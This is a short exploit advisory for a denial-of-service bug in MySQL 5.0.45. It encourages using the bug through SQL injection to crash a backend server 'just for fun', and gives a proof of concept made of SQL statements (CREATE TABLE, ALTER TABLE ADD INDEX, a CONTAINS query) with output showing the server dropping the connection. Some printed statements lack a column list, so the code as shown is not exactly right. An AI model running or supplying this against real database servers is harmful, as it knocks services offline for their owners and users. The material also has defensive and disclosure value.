mysql 5.0.45 （修改）拒绝服务漏洞

mysql 5.0.45 （修改）拒绝服务漏洞
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MySQL <=6.0 possibly affected
Kristian Erik Hermansen
Credit: Joe Gallo
You must have Alter permissions to exploit this bug!
Scenario: You found SQL injection, but you want to punch backend server
in the nuts just for fun. Start with the Alter TABLE statement on
a table and field you know to exist. The first two SQL statements are
simply to demostrate reproducibility...
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<snip>
mysql> Create TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected

mysql> Select FROM test Where CONTAINS(foo, ''bar'');
Empty set

mysql> Alter TABLE test ADD INDEX (foo(100));
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

mysql> Select FROM test Where CONTAINS(foo, ''bar'');
ERROR 2013 : Lost connection to MySQL server during query
</snip>